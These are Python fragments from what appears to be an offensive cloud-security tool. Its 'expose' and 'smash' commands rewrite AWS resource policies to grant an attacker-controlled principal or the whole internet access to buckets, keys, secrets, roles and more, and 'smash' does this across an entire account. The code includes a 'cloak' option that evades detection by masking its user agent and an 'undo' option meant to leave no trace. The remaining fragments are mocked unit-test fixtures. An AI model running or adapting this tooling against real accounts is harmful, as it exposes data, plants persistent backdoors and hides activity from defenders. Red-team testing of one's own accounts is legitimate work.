def expose(name, evil_principal, profile, service, region, dry_run, undo, cloak, verbosity): """ Surgically expose resources by modifying resource policies to include backdoors to a rogue attacker-controlled IAM principal or to the internet. :param name: The name of the AWS resource. :param evil_principal: The ARN of the evil principal to give access to the resource. :param profile: The AWS profile, if using the shared credentials file. :param service: The AWS Service in question. :param region: The AWS region. Defaults to us-east-1 :param dry_run: Dry run, no modifications :param undo: Undo the previous modifications and leave no trace :param cloak: Evade detection by using the default AWS SDK user agent instead of one that indicates usage of this tool. :param verbosity: Set log verbosity. :return: """ set_log_level(verbosity) # User-supplied arguments like `cloudwatch` need to be translated to the IAM name like `logs` provided_service = service service = utils.get_service_translation(provided_service=service) # Get Boto3 clients client = get_boto3_client(profile=profile, service=service, region=region, cloak=cloak) sts_client = get_boto3_client(profile=profile, service="sts", region=region, cloak=cloak) # Get the current account ID current_account_id = get_current_account_id(sts_client=sts_client) if evil_principal.strip('"').strip("'") == "*": principal_type = "internet-wide access" principal_name = "*" else: principal_type = parse_arn_for_resource_type(evil_principal) principal_name = get_resource_path_from_arn(evil_principal) response_message = expose_service(provided_service=provided_service, region=region, name=name, current_account_id=current_account_id, client=client, dry_run=dry_run, evil_principal=evil_principal, undo=undo) if undo and not dry_run: utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) elif undo and dry_run: utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) elif not undo and dry_run: utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) else: utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) if verbosity >= 1: print_diff_messages(response_message=response_message, verbosity=verbosity)
def setUp(self): with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=DeprecationWarning) self.mock = mock_sns() self.mock.start() current_account_id = "123456789012" region = "us-east-1" self.client = get_boto3_client(profile=None, service="sns", region=region) response = self.client.create_topic(Name=MY_RESOURCE) self.example = SnsTopic(name=MY_RESOURCE, region=region, client=self.client, current_account_id=current_account_id) self.topics = SnsTopics(client=self.client, current_account_id=current_account_id, region=region)
def list_resources(service, profile, region, cloak, excluded_names, excluded_services, verbosity): """ List AWS resources to expose. """ set_log_level(verbosity) # User-supplied arguments like `cloudwatch` need to be translated to the IAM name like `logs` user_provided_service = service # Get the boto3 clients sts_client = get_boto3_client(profile=profile, service="sts", region="us-east-1", cloak=cloak) current_account_id = get_current_account_id(sts_client=sts_client) if user_provided_service == "all" and region == "all": logger.critical("'--service all' and '--region all' detected; listing all resources across all services in the " "account. This might take a while - about 5 minutes.") elif region == "all": logger.debug("'--region all' selected; listing resources across the entire account, so this might take a while") else: pass if user_provided_service == "all": logger.debug("'--service all' selected; listing resources in ARN format to differentiate between services") resource_results = ResourceResults( user_provided_service=user_provided_service, user_provided_region=region, current_account_id=current_account_id, profile=profile, cloak=cloak, excluded_names=excluded_names, excluded_services=excluded_services ) results = resource_results.resources # Print the results if len(results) == 0: logger.warning("There are no resources given the criteria provided.") else: # If you provide --service all, then we will list the ARNs to differentiate services if user_provided_service == "all": logger.debug("'--service all' selected; listing resources in ARN format to differentiate between services") for resource in results: if resource.name not in excluded_names: print(resource.arn) else: logger.debug(f"Excluded: {resource.name}") else: logger.debug("Listing resources by name") for resource in results: if resource.name not in excluded_names: print(resource.name) else: logger.debug(f"Excluded: {resource.name}")
def setUp(self): self.runner = CliRunner() with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=DeprecationWarning) region = "us-east-1" self.mock = mock_s3() self.mock.start() self.mock_sts = mock_sts() self.mock_sts.start() self.client = get_boto3_client(profile=None, service="s3", region=region) for bucket in BUCKET_NAMES: self.client.create_bucket(Bucket=bucket) os.environ["EVIL_PRINCIPAL"] = EVIL_PRINCIPAL
def setUp(self): self.runner = CliRunner() # Set up mocked boto3 resources with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=DeprecationWarning) region = "us-east-1" current_account_id = "123456789012" bucket_names = [ "victimbucket1", "victimbucket2", "victimbucket3", ] self.mock = mock_s3() self.mock.start() self.mock_sts = mock_sts() self.mock_sts.start() self.client = get_boto3_client(profile=None, service="s3", region=region) self.sts_client = get_boto3_client(profile=None, service="sts", region=region) for bucket in bucket_names: self.client.create_bucket(Bucket=bucket)
def setUp(self): with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=DeprecationWarning) current_account_id = "111122223333" region = "us-east-1" service = "glacier" self.mock = mock_glacier() self.mock.start() self.client = get_boto3_client(profile=None, service=service, region=region) self.client.create_vault(vaultName=MY_RESOURCE) self.vaults = GlacierVaults(client=self.client, current_account_id=current_account_id, region=region)
def setUp(self): with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=DeprecationWarning) self.mock = mock_ecr() self.mock.start() self.client = get_boto3_client(profile=None, service="ecr", region="us-east-1", cloak=False) self.client.create_repository(repositoryName=MY_RESOURCE) # get_resource_policy has not been implemented by moto for ecr # self.example = EcrRepository(name=MY_RESOURCE, region="us-east-1", client=self.client, # current_account_id="111122223333") self.repositories = EcrRepositories( client=self.client, current_account_id="111122223333", region="us-east-1")
def __init__(self, user_provided_service: str, region: str, current_account_id: str, profile: str = None, cloak: bool = False): self.user_provided_service = user_provided_service # Save the name of the service for boto3 usage self.boto_service = utils.get_service_translation( provided_service=user_provided_service) self.region = region self.current_account_id = current_account_id self.client = get_boto3_client(profile=profile, service=self.boto_service, region=self.region, cloak=cloak) self.resources = self._resources()
def setUp(self): with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=DeprecationWarning) self.mock = mock_s3() self.mock.start() region = "us-east-1" current_account_id = "123456789012" self.client = get_boto3_client(profile=None, service="s3", region=region) self.client.create_bucket(Bucket=MY_RESOURCE) self.example = s3.S3Bucket(name=MY_RESOURCE, region=region, client=self.client, current_account_id=current_account_id) self.buckets = s3.S3Buckets(client=self.client, current_account_id=current_account_id, region=region)
def setUp(self): with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=DeprecationWarning) current_account_id = "111122223333" region = "us-east-1" service = "ses" self.mock = mock_ses() self.mock.start() self.client = get_boto3_client(profile=None, service=service, region=region) response = self.client.verify_email_identity( EmailAddress=MY_RESOURCE) print(response) self.identities = SesIdentityPolicies( client=self.client, current_account_id=current_account_id, region=region)
def setUp(self): with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=DeprecationWarning) self.mock = mock_kms() self.mock.start() region = "us-east-1" current_account_id = "123456789012" self.client = get_boto3_client(profile=None, service="kms", region=region) self.key_id = self.client.create_key()["KeyMetadata"]["KeyId"] self.client.create_alias(AliasName=MY_RESOURCE, TargetKeyId=self.key_id) self.example = KmsKey(name=MY_RESOURCE, region=region, client=self.client, current_account_id=current_account_id) self.keys = KmsKeys(client=self.client, current_account_id=current_account_id, region=region)
def setUp(self): with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=DeprecationWarning) current_account_id = "111122223333" region = "us-east-1" self.mock = mock_iam() self.mock.start() self.client = get_boto3_client(profile=None, service="iam", region=region) self.client.create_role(RoleName=MY_RESOURCE, AssumeRolePolicyDocument=json.dumps( constants.EC2_ASSUME_ROLE_POLICY)) self.example = IAMRole(name=MY_RESOURCE, region=region, client=self.client, current_account_id=current_account_id) self.roles = IAMRoles(client=self.client, current_account_id=current_account_id, region=region)
def setUp(self): with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=DeprecationWarning) self.mock = mock_secretsmanager() self.mock.start() current_account_id = "111122223333" region = "us-east-1" self.client = get_boto3_client(profile=None, service="secretsmanager", region=region) response = self.client.create_secret(Name=MY_RESOURCE, SecretString="foosecret") self.example = SecretsManagerSecret( name=MY_RESOURCE, region=region, client=self.client, current_account_id=current_account_id) self.secrets = SecretsManagerSecrets( client=self.client, current_account_id=current_account_id, region=region)
def setUp(self): with warnings.catch_warnings(): warnings.filterwarnings("ignore", category=DeprecationWarning) self.mock_kms = mock_kms() self.mock_iam = mock_iam() self.mock_ecr = mock_ecr() self.mock_kms.start() self.mock_ecr.start() self.mock_iam.start() self.current_account_id = "123456789012" # Set up KMS keys in 3 regions self.ue1_kms_client = get_boto3_client(profile=None, service="kms", region="us-east-1") self.ue2_kms_client = get_boto3_client(profile=None, service="kms", region="us-east-2") self.euw1_kms_client = get_boto3_client(profile=None, service="kms", region="eu-west-1") region = "us-east-1" self.iam_client = get_boto3_client(profile=None, service="iam", region=region) # self.iam_client = get_boto3_client(profile=None, service="iam", region="us-east-1") self.uw1_ecr_client = get_boto3_client(profile=None, service="ecr", region="us-west-1") # Get the ARNs so you can test them later self.ue1_key_arn = self.ue1_kms_client.create_key( )["KeyMetadata"]["Arn"] self.ue2_key_arn = self.ue2_kms_client.create_key( )["KeyMetadata"]["Arn"] self.euw1_key_arn = self.euw1_kms_client.create_key( )["KeyMetadata"]["Arn"] iam_role = self.iam_client.create_role( RoleName="yolo", AssumeRolePolicyDocument=json.dumps( constants.EC2_ASSUME_ROLE_POLICY)) self.iam_role_arn = iam_role["Role"]["Arn"] self.ecr_arn = self.uw1_ecr_client.create_repository( repositoryName="alpine")["repository"]["repositoryArn"] # Create the objects that will store our results self.service_resources_single_region = ServiceResourcesSingleRegion( user_provided_service="kms", region="us-east-1", current_account_id=self.current_account_id, profile=None, cloak=False) self.service_resources_multi_region = ServiceResourcesMultiRegion( user_provided_service="kms", user_provided_region="all", current_account_id=self.current_account_id, profile=None, cloak=False) # Let's exclude all the services that do not match the ones we specified above. # That way, we can avoid an issue where moto tries to make API calls it does not support excluded_services = [] for supported_service in constants.SUPPORTED_AWS_SERVICES: if supported_service not in ["all", "iam", "ecr", "kms"]: excluded_services.append(supported_service) print(f"Excluded services: {excluded_services}") self.resource_results = ResourceResults( user_provided_service="all", user_provided_region="all", current_account_id=self.current_account_id, profile=None, cloak=False, excluded_names=[], excluded_services=excluded_services)
def smash(service, evil_principal, profile, region, dry_run, undo, cloak, excluded_names, excluded_services, verbosity): """ Smash your AWS Account to pieces by exposing massive amounts of resources to a rogue principal or to the internet """ set_log_level(verbosity) # Get the current account ID sts_client = get_boto3_client(profile=profile, service="sts", region="us-east-1", cloak=cloak) current_account_id = get_current_account_id(sts_client=sts_client) if evil_principal.strip('"').strip("'") == "*": if not scary_warnings.confirm_anonymous_principal(): utils.print_red("User cancelled, exiting") exit() else: print() principal_type = "internet-wide access" principal_name = "*" else: principal_type = parse_arn_for_resource_type(evil_principal) principal_name = get_resource_path_from_arn(evil_principal) results = [] user_provided_service = service if user_provided_service == "all" and region == "all": utils.print_red( "--service all and --region all detected; listing all resources across all services in the " "account. This might take a while - about 5 minutes.") elif region == "all": logger.debug( "'--region all' selected; listing resources across the entire account, so this might take a while" ) else: pass if user_provided_service == "all": logger.debug( "'--service all' selected; listing resources in ARN format to differentiate between services" ) resource_results = ResourceResults( user_provided_service=user_provided_service, user_provided_region=region, current_account_id=current_account_id, profile=profile, cloak=cloak, excluded_names=excluded_names, excluded_services=excluded_services) results = resource_results.resources if undo and not dry_run: utils.print_green("UNDO BACKDOOR:") elif dry_run and not undo: utils.print_red("CREATE BACKDOOR (DRY RUN):") elif dry_run and undo: utils.print_green("UNDO BACKDOOR (DRY RUN):") else: utils.print_red("CREATE_BACKDOOR:") for resource in results: if resource.name not in excluded_names: # feed the name, region, and translated_service based on what it is for each resource name = resource.name region = resource.region translated_service = utils.get_service_translation( provided_service=resource.service) client = get_boto3_client(profile=profile, service=translated_service, region=region, cloak=cloak) response_message = smash_resource( service=resource.service, region=region, name=name, current_account_id=current_account_id, client=client, undo=undo, dry_run=dry_run, evil_principal=evil_principal) if undo and not dry_run: utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) elif undo and dry_run: utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) elif not undo and dry_run: utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) else: utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) else: logger.debug(f"Excluded: {resource.arn}")